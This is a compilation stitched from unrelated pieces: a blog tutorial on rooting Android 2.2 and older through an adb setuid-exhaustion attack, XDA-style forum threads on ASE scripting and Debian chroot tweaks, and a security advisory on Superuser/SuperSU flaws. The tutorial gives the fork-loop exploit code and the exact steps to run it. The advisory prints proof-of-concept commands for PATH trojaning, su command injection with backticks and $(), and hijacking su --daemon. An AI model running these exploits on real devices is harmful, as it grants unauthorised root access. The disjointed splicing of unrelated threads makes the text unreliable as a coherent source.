Author: Apriorit (Device Team)
Permanent link: www(dot)apriorit(dot)com/dev-blog/255-android-rooting
You have an Android Device and you are familiar with Linux based operating systems. Maybe, you like SSH or telnet to communicate with the device; you want to setup your device as a router to connect home PC to the Internet. However, you will be surprised. Android has neither login screen nor possibility to gain privileged user access to the system to do these things. This is one of the Android security principles to isolate applications from the user, each other, and the system.
In this article, I will describe you how to gain root access on an Android device in spite of security. I will delve deeply into one of the Android rooting principles - the adb exhaustion attack, which is simpler to understand than a previous udev exploit. It is suitable for all Android-powered devices with the version 2.2 and lower.
Rooting principles
Overview
In three words, the main rooting idea is to get super user rights on a device shell. Like a standard Linux shell, it allows you to interact with the device by executing commands from the shell. The shell can be accessed via ADB (Android Debug Bridge) command tool. The main purposes of the ADB on Android-powered devices are debugging, helping to develop applications and also, in some cases, it is used for synchronization purposes (when syncing HTC Wildfire, it is required to turn on the USB Debugging). We will use the ADB tool for uploading and executing the exploit, working with rooted device via super user shell with full access to whole device file system, programs and services.
ADB includes three components:
1. A client, which runs on your machine. Windows users can invoke it from the cmd and Linux users - from the shell;
2. A server, which runs as a background process on your machine. It manages communication between the client and the daemon running on the Android-powered device;
3. A daemon, which runs as a background process on the device.
We are interested only in the third component. The daemon runs on a device and communicates with a client through a server. When you issue the ADB command like a shell, the daemon will create a shell instance on a device and redirect its output to the client. Obviously, the shell new instance created by the daemon inherits rights and environment from its parent. As the daemon runs with the AID_SHELL rights, the shell new instance and all processes created by the shell will have the same access rights. Hence, to get super user rights in the shell, we just need the daemon to be running with these rights.
To understand why the ADB daemon has the ADT_SHELL user space, we will consider how it is started up and look at its initialization script.
The first user land process started after the Android device booting is the init process. After initialization and starting of internal services like property service, ueventd service etc., it begins parsing the init.rc configuration script. The ADB daemon is mentioned in the script as the service and it is started by the init service on the boot if the USB Debugging is enabled.
Let’s look at the ADB daemon initialization source code. The main daemon entry point, where it starts its execution, is adb_main. I skipped non significant pieces of code to focus your attention on the daemon security.
Code:
int adb_main(int is_daemon, int server_port)
{
...
int secure = 0;
...
/* run adbd in secure mode if ro.secure is set and
** we are not in the emulator
*/
property_get("ro.kernel.qemu", value, "");
if (strcmp(value, "1") != 0) {
property_get("ro.secure", value, "");
if (strcmp(value, "1") == 0) {
// don't run as root if ro.secure is set...
secure = 1;
}
}
/* don't listen on a port (default 5037) if running in secure mode */
/* don't run as root if we are running in secure mode */
if (secure) {
...
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
...
return 0;
}
So, what we see here. When the ADB daemon is starting, it has super user rights, like the init process has. However, the daemon reads some properties from the system and decides to set secure flag or not. Usually, if the device is not a development device and it is not an emulator, the properties have such values:
ro.kernel.qemu – “0” // is running on emulator
ro.secure – “1” // secure mode
After properties are checked, the secure flag is set to true, and we hit to such code section:
Code:
if (secure) {
...
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
...
Starting from this point, the daemon continues its execution with the AID_SHELL user id as it drops root privileges. All processes, started by the ADB daemon, like sh, will inherit its rights and will work in very limited environment. It is really sad, isn’t it?
Exhaustion attack
The main rooting principle of the exploit described in this article is the setuid exhaustion attack. The setuid function changes the user id for a process only in case if there are resources available, otherwise it fails and the process remains with that user id, with which it was started. Let’s look at the resources that can be limited by the Linux operating system. We are interested only in the RLIMIT_NPROC resource. This resource limits maximum numbers of processes that can be created with the same user id. If you have reached the limit, you can’t create more processes with this user id. The setuid function doesn’t create processes, but it follows this rule. Once, the NPROC limit for the AID_SHELL user is reached, setuid fails and the process continues its execution with the user id set before the setuid call. It means, when the ADB daemon starts with the AID_ROOT user id and tries to change it for AID_SHELL, for which NPROC is reached, setuid fails and the daemon user id remains AID_ROOT.
It is easy enough, isn’t it?
In files attached to the article, you can find the binary file and sources. They implement the adb exhaustion attack explained above. The rooting process is easy for a user and I will describe how to use it below, but now, I will go into detail about the attack implementation. I will touch upon the source code structure and go into detail about a few important points.
Let’s look at the root() function in the impl.cpp file. It implements the main logic of the exploit.
...
Code:
rlimit s_rlimit = { 0 };
getrlimit( RLIMIT_NPROC, &s_rlimit );
printf( "RLIMIT_NPROC: %d.%d\n", s_rlimit.rlim_cur, s_rlimit.rlim_max );
pid_t adbdPid( get_pid( g_adbd_name ) );
...
At the beginning, after it gets and prints the NPROC limits, it runs the ADB daemon PID and saves it into a variable. It will be used later to kill original process. Next, look at the fork loop:
Code:
pid_t pid( -1 );
for( int i( 0 ); ; ++i )
{
pid = fork();
if( pid == 0 )
{
return ret;
}
...
The code above represents an infinite loop. It forks calling process and exits from a child. That is enough because PID, allocated for current user, remains active until the parent process exits. The loop works until the fork function returns negative value. It means that we have reached the NPROC limit. Let’s look at the next code piece. The PID is negative, but we have to remember that there is one more shell user process that will be terminated soon. This process is the ADB daemon that is still running. We couldn’t kill it on start because the init process would start it again and it is an advantage for us. So, as soon as we reach that condition, we read the ADB daemon PID and check if its user id is AID_SHELL or AID_ROOT (because we could reach the condition from the second or third iteration).If it is AID_SHELL, the program just sends SIGKILL to it and continues the loop (soon, we will reach it again). Once the daemon is killed, one more PID for this user is freed. We have to allocate this PID for the AID_SHELL user as soon as possible to prevent the daemon setting its user id as AID_SHELL. Ideally, there will be two additional loops: the first one forks and allocates a new PID for the AID_SHELL user and, as the result, the second one reaches the limit again, checks the daemon PID that should be AID_ROOT and exits. However, because of lack of resources or lots of delays, there could be rather more iterations.
...
Code:
else if( pid < 0 )
{
printf( "limit reached. kill adbd and wait for its root ...\n" );
adbdPid = get_pid( g_adbd_name );
if( adbdPid >=0 )
{
if( get_pid_user( adbdPid ) != 0 )
{
kill( adbdPid, SIGKILL );
}
else
{
break;
}
}
...
To prevent the exploit infinite loop in case if it is impossible to start the ADB daemon as root, there is a respawn guard for each forked child. Ten iterations and one second timeout have been chosen empirically when I was working with several devices and I found that some devices had a too big NPROC limit. It is obvious. They enquire too much processor resources to handle all created child processes. So, you may change the guard to fit your requirements or device.
...
Code:
else
{
static int theRespounGuard( 10 );
if( --theRespounGuard )
{
sleep( 1 );
}
else
{
break;
}
}
...
Configuration & Build
The exploit was configured to be built with the NDK toolset both on Linux, and on the Windows platform. If you are working on Linux, it will be enough for you to download NDK only; however, on the Windows platform, you have to download and install the Cygwin environment on your machine. In this paragraph, I will tell you how to configure and build the exploit on the Windows platform.
First of all, download and install the Android SDK. We need only a platform-tools package from the SDK to communicate with a device through ADB, so, at the SDK root directory, start the SDK Manager and check the platform-tools package. Install it.
You can add a path to platform-tools into your PATH variable or type the absolute path to the adb.exe executable any time later.
The second step is to download and install the Android NDK package and the Cygwin environment. Install them in the same location with SDK and add a path to your NDK package into the PATH variable or into your Cygwin .bash_profile. Then unpack a project archive attached to this article into your working directory available for Cygwin.
The project structure is very simple. In the AndroidExploit root, you will find two directories. In the bin directory, I have placed a precompiled exploit binary and a windows shell script file. The jni directory contains sources and the NDK build scripts.
Code:
/AndroidExploit
/bin
exploit // precompiled binary file
root.cmd // windows shell script. It helps to upload and run
// the exploit in device. Usualy it is enough run
// the script to root device.
/jni
Android.mk // NDK build script
Application.mk // some application settings
// the source files
cmdLine.cpp
cmdLine.h
impl.cpp
impl.h
main.cpp
proc.cpp
proc.h
To build the project, run the Cygwin environment, change a directory to the project/jni directory, and execute ndk-build. The Compiler output should look like this:
You can find an executable at libs/armeabi/exploit. The path is relative to the root of the project.
Running
The next paragraph describes how to use the binary file. You download the Android SDK, install platform-tools and make them available from the PATH variable. At first, enable the USB Debugging on your device. For this, from the main screen, go to Settings -> Applications -> Development and check the USB Debugging option, then connect your device to the PC and check that it has been detected by Windows Device Manager. Otherwise, install the Android USB drivers for your device from the manufacturer site.
Type the adb devices command in the command line. It will show you devices connected to your PC. If there are no devices connected, check that Windows Device Manager and Android USB drivers are installed.
We are on the right way! Let’s go to the device. Type the adb shell command, which will start the device shell, and then check your id to see who you are.
As it was expected, you are a shell user that has no privileges, no access, nothing … The only things you can do are installing programs and listing some directories. In other words, you can perform only permitted actions. I was very surprised when I couldn’t read /data/data directory, it was impossible for me to list it and see what programs were installed on my device.
Break the law. Go to the exploit bin directory and type adb push exploit /data/local/tmp. This command will upload the exploit in the device temporary directory available for the user. Then, type adb shell and change the directory to /data/local/tmp. The ls –l command will show you its content and permissions on recently uploaded files. Make the file executable by executing chmod exploit 776 and run it by ./exploit root.
The output shows NPROC and ADB daemon PID. Then, as soon as RLIMIT is reached, the shell will be disconnected. Wait for ~5 seconds and type adb shell again. As a result, you should see root # shell. Type id to make sure you are a root.
Yes, you are! Now, you can do anything even… let me think … even damage your device! So, all things you will do next are at your risk. Be careful!
One more, I want to add. The exploit works only on Android devices with versions 2.2 and older.
Related
I wanted to start a thread to post ASE scripts. They support three different languages and while gscript is amazing, this seems to have a lot of availability for saving the time of making entire programs for one or two functions that don't need an entire UI. Plus they can run after you close ASE, so its not a once and done environment. I would like to compile scripts here to make them easy to find.
Mods: This is not a build related topic, it spans all builds. It is not a duplicate, as the only searchable post was a link to the program. It is development because while the scripts can replace programs (in which case id post in app forum), I want to use this to do nodding and on-the-fly enhancements (development forum)
Good idea. I'm going to bump this
This just rocked my world.
ASE Blog
ASE Google Code page
ASE Faq
ASE Lua API
ASE Python API
ASE User Guide
Download ASE 0.7a
Am I the only person who thinks that ASE is completely useless ?
Actually, the method used is a HUGE hack (using JSON embedded in a TCP socket is not the cleaner thing I saw) -- ok I'm not so deeply into ASE source code, but still.
... and, the API available is very very lightweight compared to Android's standard library.
Why not having an app which just exports the current Context object into a Beanshell context ? (and maybe having access to the interpreter via adb). Here, we could have access to the whole Java APIs and do nearly exactly what we can do know using plain Java code. It would be clearly awesome !
A better thing would be using Groovy, but it doesn't seem to like dx.
I've already tried to launch the Beanshell interpreter via ASE, but it fails (when the same script works on my computer).
Anyone make (or find) any cool scripts?
I honestly like the idea of the ASE scripting because it gives people the ability to write scripts and learn about it.
Great!
This is great. Just one thing I'd change: It would be nice to split the daemon package and the language support packages.
I, for one, have debian installed and already running a python environment with many extensions installed. I'd prefer to install just the "service" part of ASE, copy android.py to my site-packages directory and integrate it into existing scripts. I'd keep ASE running on a fixed port and start modifying existing scripts to utilize the ASE service.
Mini Howto: Using ASE from debian
I wanted to use ASE from the debian installed on my android phone and did some minor patching to accommodate the fact that debian still uses python 2.5 whereas ASE requires python 2.6.
Here's how you do it:
Install the required packages:
Code:
# if you don't have python already
apt-get install python
# python 2.5 doesn't have json but this package will do.
apt-get install python-simplejson
Copy android.py from ASE to debian:
Code:
cp /data/data/com.google.ase/python/lib/python2.6/android.py /usr/lib/python2.5/site-packages/android.py
Apply this patch to android.py, to remove python 2.6 dependencies:
Code:
cd /
patch -p0 <<EOF
--- /data/data/com.google.ase/python/lib/python2.6/android.py 2009-06-14 22:48:06.000000000 +0000
+++ /usr/lib/python2.5/site-packages/android.py 2009-06-15 00:58:31.000000000 +0000
@@ -14,7 +14,7 @@
__author__ = 'Damon Kohler <[email protected]>'
-import json
+import simplejson as json
import os
import socket
import sys
@@ -25,7 +25,8 @@
class Android(object):
def __init__(self):
- self.conn = socket.create_connection(('localhost', PORT))
+ self.conn = socket.socket()
+ self.conn.connect(('localhost', int(PORT)))
self.client = self.conn.makefile()
self.id = 0
EOF
That's it.
To use it:
Activate ASE and start a terminal. (I hope future versions of ASE will run the service independent of the terminal and will no longer require this).
In your debian terminal:
Code:
export AP_PORT=$(netstat -napt|sed -n 's/^tcp.*127.0.0.1:\([0-9]*\).*LISTEN.*ase$/\1/gp')
python
The above export is required because ASE currently uses a random port. I hope future versions of ASE will allow selecting a fixed one.
Now you can use ASE from your debian's python, the same way you would in ASE's terminal:
Code:
Python 2.5.2 (r252:60911, Nov 15 2008, 00:34:24)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import android
>>> a=android.Android()
>>> a.makeToast('debian')
{u'result': None, u'id': 0, u'error': None}
>>>
Now you can start porting scripts to use ASE
I have been trying to figure out how to reboot my phone using any of the interpreters in ASE.
I have tried the following in Lua.
os.execute("reboot")
and I get permission denied.
I have tried
os.execute("su")
os.execute("reboot")
but then the terminal changes from $ to # and nothing happens.
Get the same results using os.system() commands in python.
Anyone have any ideas on how to make this work? Seems like it ought to be simple but I have no experience in these languages.
Try "su -c /system/bin/reboot".
mod1 said:
Try "su -c /system/bin/reboot".
Click to expand...
Click to collapse
Thanks for the help but I still got "not permitted!"
Script to query Amazon
This isn't much but I'm an Amazon book junkee and I've tried all the bar code scanners in the market and none of them will just take me directly to the Amazon page for an item I scan without having to click several different buttons first.
So, without further adieu:
Code:
import android
"""start barcode scanner and scan barcode"""
droid = android.Android()
code = droid.scanBarcode()
ISBN = (code['result']['SCAN_RESULT'])
"""open browser at the first google i'm feeling lucky link which typically will be the amazon page for the item"""
url = "http://www.google.com/search?hl=de&q=site%3Aamazon.com+" + ISBN + "&meta=lr%3Dlang_en&btnI=I'm+feeling+lucky"
droid.startActivity('android.intent.action.VIEW', url)
The only issue is, sometimes, the bar code scanner goes into some kind of endless loop and just keeps restarting every time I scan. I think it's a bug in the zebra crossing app, but any help would be appreciated.
I must say, I am very excited about being able to use python on my G1, as maybe I'm just an idiot, but I can't seem to get into the standard sdk with its multiple points of entry, and having to deal with eclipse. I also really can't wait for the ability to write and run full fledged apps that can take advantage of the full widget set.
@jinx10000
I figured out how to execute os commands as root.
I wrote a small python script called testing.swapon.py that could obviously not be successfully executed as a regular user containing:
Code:
import os
os.system("swapon /dev/block/mmcblk0p3")
and placed it in /system/sd.
Then at the terminal emulator, not the ase but the regular terminal I downloaded from the market, and as the regular user, i.e. not root, I executed
Code:
$ su -c "/data/data/com.google.ase/python/bin/python /system/sd/testing.swapon.py"
And surprise, after running free, I noted that my swap partition was indeed mounted. And just to be sure, I unmounted it as root and did the whole thing over again. So, it looks like we can do some interesting root stuff with the ase scripting languages. Now, people just need to get interested in this so we can get some momentum and some cool scripts written.
The previously mentioned "export AP_PORT" doesn't work for me with the new ASE (r16)
The following one does:
export AP_PORT=$(netstat -napt|sed -n 's/^tcp.*127.0.0.1:\([0-9]*\).*LISTEN.*com\.google\.ase\?:\?/\1/gp'|sed '/.*/q')
Is there an update to this post now that I can run python 2.6 in my debian chroot and ASE now has a server? I'm kinda confused....
mod1 said:
I wanted to use ASE from the debian installed on my android phone and did some minor patching to accommodate the fact that debian still uses python 2.5 whereas ASE requires python 2.6.
Here's how you do it:
Install the required packages:
Code:
# if you don't have python already
apt-get install python
# python 2.5 doesn't have json but this package will do.
apt-get install python-simplejson
Copy android.py from ASE to debian:
Code:
cp /data/data/com.google.ase/python/lib/python2.6/android.py /usr/lib/python2.5/site-packages/android.py
Apply this patch to android.py, to remove python 2.6 dependencies:
Code:
cd /
patch -p0 <<EOF
--- /data/data/com.google.ase/python/lib/python2.6/android.py 2009-06-14 22:48:06.000000000 +0000
+++ /usr/lib/python2.5/site-packages/android.py 2009-06-15 00:58:31.000000000 +0000
@@ -14,7 +14,7 @@
__author__ = 'Damon Kohler <[email protected]>'
-import json
+import simplejson as json
import os
import socket
import sys
@@ -25,7 +25,8 @@
class Android(object):
def __init__(self):
- self.conn = socket.create_connection(('localhost', PORT))
+ self.conn = socket.socket()
+ self.conn.connect(('localhost', int(PORT)))
self.client = self.conn.makefile()
self.id = 0
EOF
That's it.
To use it:
Activate ASE and start a terminal. (I hope future versions of ASE will run the service independent of the terminal and will no longer require this).
In your debian terminal:
Code:
export AP_PORT=$(netstat -napt|sed -n 's/^tcp.*127.0.0.1:\([0-9]*\).*LISTEN.*ase$/\1/gp')
python
The above export is required because ASE currently uses a random port. I hope future versions of ASE will allow selecting a fixed one.
Now you can use ASE from your debian's python, the same way you would in ASE's terminal:
Code:
Python 2.5.2 (r252:60911, Nov 15 2008, 00:34:24)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import android
>>> a=android.Android()
>>> a.makeToast('debian')
{u'result': None, u'id': 0, u'error': None}
>>>
Now you can start porting scripts to use ASE
Click to expand...
Click to collapse
bump ~ 10 ~
Paul22000 said:
Anyone make (or find) any cool scripts?
Click to expand...
Click to collapse
I did a toggleswap.sh script ages ago
it gets around the not having su thing
not the most secure thing in the world, as once you have su remember ase getting root for
sh /sqlite_stmt_journals/ToggleSwap.sh
ase will always be able to execute that script, without prompting
but you can add a shortcut to the script ( longpress home and select ase )
Code:
#!/system/bin/sh
tmpscript=/sqlite_stmt_journals/ToggleSwap.sh
ToggleOn ()
{
echo "#!/system/bin/sh
for i in \`ls /dev/block/mmcblk0p*\`;do
swapon \$i 2>/dev/null
if [ \"\$?\" = \"0\" ];
then
break
fi
done" > $tmpscript
return
}
ToggleOff ()
{
echo "#!/system/bin/sh
for i in $swapon;do
swapoff \$i
done" > $tmpscript
return
}
swapon=`awk '$1 !~ /^File/ { print $1 }' /proc/swaps`
if [ "$swapon" = "" ];
then
ToggleOn
else
ToggleOff
fi
su -c "sh $tmpscript"
free
rm $tmpscript
Two very simple python scripts for adding a new contact and composing a new text message:
New contact:
Code:
import android
droid = android.Android()
droid.startActivity('android.intent.action.INSERT', 'content://contacts/people')
droid.makeToast('Add new contact')
droid.exit()
New message:
Code:
import android
droid = android.Android()
droid.startActivity('android.intent.action.SENDTO', 'sms:')
droid.makeToast('New message')
droid.exit()
You may have noticed that your Debian processes have a hard time dying on Android, unless you forcefully kill -9 them.
Whether you're trying to shut down your openssh server, or whether you're trying to close your X server, your processes just don't seem to take the hint.
The reason:
/system/bin/sh has an interesting peculiarity: When used as an interactive root shell (when you run "su", or when you connect with an "adb shell", for example), it disables several signals from being received by its children processes. SIGTERM and SIGHUP are notable amongst those because they're often the only way to tell a daemon to refresh or shut itself down.
This impacts Debian because the common deployment method under Android involves running chroot, which requires a root shell to do so.
The fixes:
Ideally, /system/bin/sh would get patched to stop doing this.
Until then, then next best thing is to use a little wrapper like the following
Code:
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
int
main (int argc, char *argv[], char*envp[])
{
sigset_t set;
int i;
/* stop ignoring signals. */
sigfillset(&set);
sigprocmask(SIG_UNBLOCK, &set, NULL);
i = execve("/bin/bash", argv, envp);
if (i==-1) {
perror("couldn't exec bash:");
}
return i;
}
If you use bootdeb (you shouldn't, but everybody does), compile the above in your debian environment and move the compiled binary under /bin/unbash, then edit the line in bootdeb that starts with "chroot" to say
Code:
chroot $mnt /bin/unbash [email protected]
(If you want to remove a bunch of "sleep" commands in bootdeb while you're there, that's cool too.)
Now close all your debian processes, and go back in debian with that modified script.
From then on, you will be able to gracefully terminate any debian process you want.
/etc/init.d/ssh stop will simply work, and so will vncserver -kill :1
You don't need to do this on HTC´s Hero, as the killing works there.
To test:
bootdeb
invoke-rc.d ssh start
invoke-rc.d ssh stop
ps ax
-> Check for sshd
Kind regards
Niki
For us not-so-programmer-savvy, how would one compile this in Debian?
Proxin said:
For us not-so-programmer-savvy, how would one compile this in Debian?
Click to expand...
Click to collapse
Code:
gcc -Os -o unbash unbash.c
On your cellular, not on your desktop.
von Loxley said:
Code:
gcc -Os -o unbash unbash.c
On your cellular, not on your desktop.
Click to expand...
Click to collapse
Pardon my ignorance, but I receive an error upon trying just that:
gcc: unbash.c: No such file or directory
gcc: no input files
I'm guessing I should copy your quoted code in there somehow, but I'm pretty clueless as to how I would do that. Would you care to tell me how I would do that?
Proxin said:
Pardon my ignorance, but I receive an error upon trying just that:
gcc: unbash.c: No such file or directory
gcc: no input files
I'm guessing I should copy your quoted code in there somehow, but I'm pretty clueless as to how I would do that. Would you care to tell me how I would do that?
Click to expand...
Click to collapse
Yes, copy the above code into a file called unbash.c. How you write the text file is an exercise left up to the reader as there are a million and 6 ways to do it.
Got it working after I looked into gcc a little bit. One question I have now is that I always get "permission denied" when I try to launch Debian with chroot set as /bin/unbash.
I've done a chmod 0755 to /bin/unbash/* prior to launching Debian with chroot set as /bin/unbash, but I still get permission denied and have to change chroot back to the default location in bootdeb.
Sorry to be a bother in this thread, I'm hoping this will be my last problem.
Proxin said:
I've done a chmod 0755 to /bin/unbash/*
Click to expand...
Click to collapse
chmod 755 /bin/unbash
Well, I was going to hold off until all of the vendors had new releases posted, but now that the cat is out of the bag and the evildoers have sufficient information to figure out what got fixed:
[size=+1]Current Superuser/SuperSU releases have security holes that allow any application to execute commands as root without the user's permission (even apps with no permissions). Please upgrade immediately to SuperSU >= v1.69 or another patched release.[/size]
This is expected to impact the vast majority of rooted devices and custom ROMs.
Details follow:
[size=+2]Superuser unsanitized environment vulnerability on Android <= 4.2.x[/size]
Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner:
ChainsDD Superuser (current releases, including v3.1.3)
CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1)
Chainfire SuperSU prior to v1.69
The majority of third-party ROMs include one of these packages.
On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. In the course of its normal duties, and prior to making the allow/deny decision, /system/xbin/su invokes external programs under a privileged UID, typically root (0) or system (1000):
/system/bin/log, to record activity to logcat
/system/bin/am, to send intents to the Superuser Java app
/system/bin/sh, to execute the /system/bin/am wrapper script
/system/bin/app_process, the Dalvik VM
The user who invokes /system/xbin/su may have the ability to manipulate the environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items belonging to any of these subprocesses. At least two vulnerabilities are readily apparent:
- On ClockWorkMod Superuser, /system/xbin/su does not set PATH to a known-good value, so a malicious user could trick /system/bin/am into using a trojaned app_process binary:
Code:
echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "[email protected]"' > app_process ; chmod 755 app_process
PATH=`pwd`:$PATH su -c 'true'
The PATH vulnerability is being tracked under CVE-2013-6768.
- Other environment variables could be used to affect the behavior of the (moderately complex) subprocesses. For instance, manipulation of BOOTCLASSPATH could cause a malicious .jar file to be loaded into the privileged Dalvik VM instance. All three Superuser implementations allowed Dalvik's BOOTCLASSPATH to be supplied by the attacker.
The BOOTCLASSPATH vulnerability is being tracked under CVE-2013-6774.
[size=+2]Android Superuser shell character escape vulnerability[/size]
Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root, either without prompting the user or after the user has denied the request:
CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1)
Chainfire SuperSU prior to v1.69
The majority of recent third-party ROMs include one of these packages. Older ROMs may use the ChainsDD Superuser package, which is not affected but is no longer maintained.
On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. If any of these checks fail, the denial is recorded by broadcasting an intent to the Superuser app through the Android Activity Manager binary, /system/bin/am. /system/bin/am is invoked as root, and user-supplied arguments to the "su" command can be included on the "am" command line.
On a rooted Android >= 4.3 device, due to changes in Android's security model, /system/xbin/su functions as an unprivileged client which connects to a "su daemon" started early in the boot process. The client passes the request over a UNIX socket, and the daemon reads the caller's credentials using SO_PEERCRED. As described above, /system/bin/am is called (now from the daemon) to communicate with the app that implements the user interface.
If the user invokes "su -c 'COMMAND'" and the request is denied (or approved), ClockWorkMod Superuser constructs a command line to pass to a root shell:
Code:
snprintf(user_result_command, sizeof(user_result_command), "exec /system/bin/am " ACTION_RESULT " --ei binary_version %d --es from_name '%s' --es desired_name '%s' --ei uid %d --ei desired_uid %d --es command '%s' --es action %s --user %d",
VERSION_CODE,
ctx->from.name, ctx->to.name,
ctx->from.uid, ctx->to.uid, get_command(&ctx->to),
policy == ALLOW ? "allow" : "deny", ctx->user.android_user_id);
get_command() would return "COMMAND", unescaped, through "/system/bin/sh -c". By adding shell metacharacters to the command, the root subshell can be tricked into running arbitrary command lines as root:
Code:
su -c "'&touch /data/abc;'"
Upon denial by the operator, "touch /data/abc" will be executed with root privileges. The Superuser variant of this problem is being tracked under CVE-2013-6769.
SuperSU prior to v1.69 removes quote and backslash characters from the string passed to /system/bin/sh, but backticks or $() can be used instead for the same effect:
Code:
su -c '`touch /data/abc`'
su -c '$(touch /data/abc)'
The SuperSU variant of this problem is being tracked under CVE-2013-6775.
ChainsDD Superuser v3.1.3 does not appear to pass the user-supplied input on the /system/bin/am command line.
[size=+2]Superuser "su --daemon" vulnerability on Android >= 4.3[/size]
Current releases of the CyanogenMod/ClockWorkMod/Koush Superuser package may allow restricted local users to execute arbitrary commands as root in certain, non-default device configurations.
Android 4.3 introduced the concept of "restricted profiles," created through the Settings -> Users menu. A restricted profile can be configured to allow access to only a minimal set of applications, and has extremely limited abilities to change settings on the device. This is often used to enforce parental controls, or to protect shared devices set up in public places. The OS requires an unlock code to be entered in order to access the owner's profile to administer the system.
/system/xbin/su is a setuid root executable, and any user may invoke it in client mode ("su -c 'foo'" or just "su"), or in daemon mode ("su --daemon"). In either mode of operation, the user who invokes this program has the ability to manipulate its environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items. By adding new entries at the front of the PATH for commonly-executed root commands, then re-invoking "su --daemon", an attacker may be able to hijack legitimate root sessions subsequently started by other applications on the device.
"su --daemon" is normally started up very early in the boot process, as root, from /init.superuser.rc (CM) or from /system/etc/install-recovery.sh (other ROMs). The fact that unprivileged users are allowed to restart the daemon later, under EUID 0, appears to be an oversight.
Successful exploitation requires a number of conditions to be met:
- The attacker must have ADB shell access, e.g. over USB. This is disabled by default, and normally restricted to trusted ADB clients whose RSA key fingerprints have been accepted by the device administrator. Root access via ADB (i.e. Settings -> Developer Options -> Root access -> Apps and ADB) is not required. Note that ADB shell access is typically considered a security risk, even in the absence of this problem.
- The attacker must have a way to assume a non-shell (non-2000), suid-capable Linux UID in order to prevent /system/xbin/su from creating infinitely recursive connections to itself through the daemon client UID check in main(). One way to do this would involve uploading an app with the "debuggable" flag and using /system/bin/run-as to assume this UID. "adb install" can probably used for this purpose. However, due to a bug in Android 4.3's "run-as" implementation[1], this does not currently work. This bug was fixed in Android 4.4, so CM11 will probably be able to satisfy this requirement.
- The device owner must have granted root permissions to one or more applications via Superuser. The restricted profile does not need to be able to run this app from the launcher.
Sample exploit:
The restricted local user can reboot the tablet, run "adb shell" when the boot animation shows up, then invoke the following commands:
Code:
echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "[email protected]"' > /data/local/tmp/trojan
chmod 755 /data/local/tmp/trojan
for x in id ls cp cat touch chmod chown iptables dmesg; do ln -s trojan /data/local/tmp/$x ; done
PATH=/data/local/tmp:$PATH setsid run-as.422 my.debuggable.package /system/xbin/su --daemon &
(Note the use of "run-as.422" as a proxy for a working Android 4.3 run-as binary, and the installation of "my.debuggable.package" with the debuggable flag set.)
At this point the USB cable may be disconnected.
The next time a root application successfully passes the Superuser check and invokes one of the trojaned shell commands, /data/local/tmp/trojan will be executed under UID 0.
An ideal candidate for exploitation is a package which runs privileged commands on boot, e.g. AdBlock Plus or AFWall+, as this allows for instant access. Another possibility is to hijack an app which the device's operator runs frequently, such as Titanium Backup.
Note that this can NOT be exploited by malicious applications, as zygote-spawned processes (apps) always access /system in nosuid mode[2] on Android 4.3+. The ADB shell was used as the attack vector as it is not subject to this restriction.
ChainsDD Superuser v3.1.3 does not have an Android 4.3+ client/server mode at all, and SuperSU aborts if an existing "daemonsu" instance is already bound to the abstract @"eu.chainfire.supersu" socket.
Proposed resolution: on Android 4.3 and higher, install all Superuser-related binaries with mode 0755 (setuid bit unset).
This problem is being tracked under CVE-2013-6770.
[1] https://code.google.com/p/android/issues/detail?id=58373
[2] http://source.android.com/devices/tech/security/enhancements43.html
Did you report that to @Chainfire?
SecUpwN said:
Did you report that to @Chainfire?
Click to expand...
Click to collapse
Yes, he's been very responsive.
I contacted all three developers last Saturday, and posted the advisory after there was enough public information available to deduce what the problems were.
In case you're curious, there's been some additional discussion about exploiting ChainsDD Superuser on BUGTRAQ.
Is there a way we can patch this maybe using xposed framework
milojoseph said:
Is there a way we can patch this
Click to expand...
Click to collapse
There are new releases of SuperSU and CWM Superuser posted:
https://play.google.com/store/apps/details?id=eu.chainfire.supersu&hl=en
http://forum.xda-developers.com/showthread.php?t=1538053
https://play.google.com/store/apps/details?id=com.koushikdutta.superuser&hl=en
I haven't seen any updates to ChainsDD Superuser, and AFAICT the project is no longer maintained.
maybe using xposed framework
Click to expand...
Click to collapse
Xposed is useful for patching Java programs, but /system/xbin/su is compiled C code. So the techniques used by Xposed would not apply to this case.
cernekee said:
Xposed is useful for patching Java programs, but /system/xbin/su is compiled C code. So the techniques used by Xposed would not apply to this case.
Click to expand...
Click to collapse
There's always Substrate, that can be used even for patching native code, but still in this case not applicable I guess.
Where you able to find any patch to fix them?
thank you for sharing ...
I am getting this message in lollipop "zygote has been granted superuser permission" i accidentally allowed it root access thinking it was link2sd. Could it be malware? There is a nameless app in my supersu under name "zygote". i didn't installed anything outside from playstore. My supersu version is 2.78
diabolicalprophecy said:
I am getting this message in lollipop "zygote has been granted superuser permission" i accidentally allowed it root access thinking it was link2sd. Could it be malware? There is a nameless app in my supersu under name "zygote". i didn't installed anything outside from playstore. My supersu version is 2.78
Click to expand...
Click to collapse
Did you get an answer for this? I have the same issue on 4.4.4
Vankog said:
Did you get an answer for this? I have the same issue on 4.4.4
Click to expand...
Click to collapse
No I didn't, I reflashed the rom and it solved the problem.
As a new Android user, it take me hours, if not days, to understand some very basic Android concepts. So here we are:
Welcome to the Android on GNU/Linux for complete Android dummies
Introduction
The first concept to understand is that Android, even if it is based on a Linux kernel, is not GNU/Linux, it is Android. That imply some huge differences, the first ones being the file hierarchy and what you can do or not do with that file hierarchy. :cyclops: :crying: :cyclops:
